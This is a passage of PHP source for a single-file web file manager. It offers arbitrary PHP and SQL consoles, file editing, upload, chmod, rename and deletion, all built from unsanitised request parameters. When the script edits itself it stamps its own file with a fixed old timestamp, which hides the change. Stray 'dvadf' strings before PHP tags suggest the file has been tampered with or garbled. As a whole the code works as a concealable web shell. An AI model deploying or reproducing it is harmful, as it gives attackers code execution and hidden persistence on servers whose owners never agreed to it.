url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
dvadf<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
dvadf<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
dvadf<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
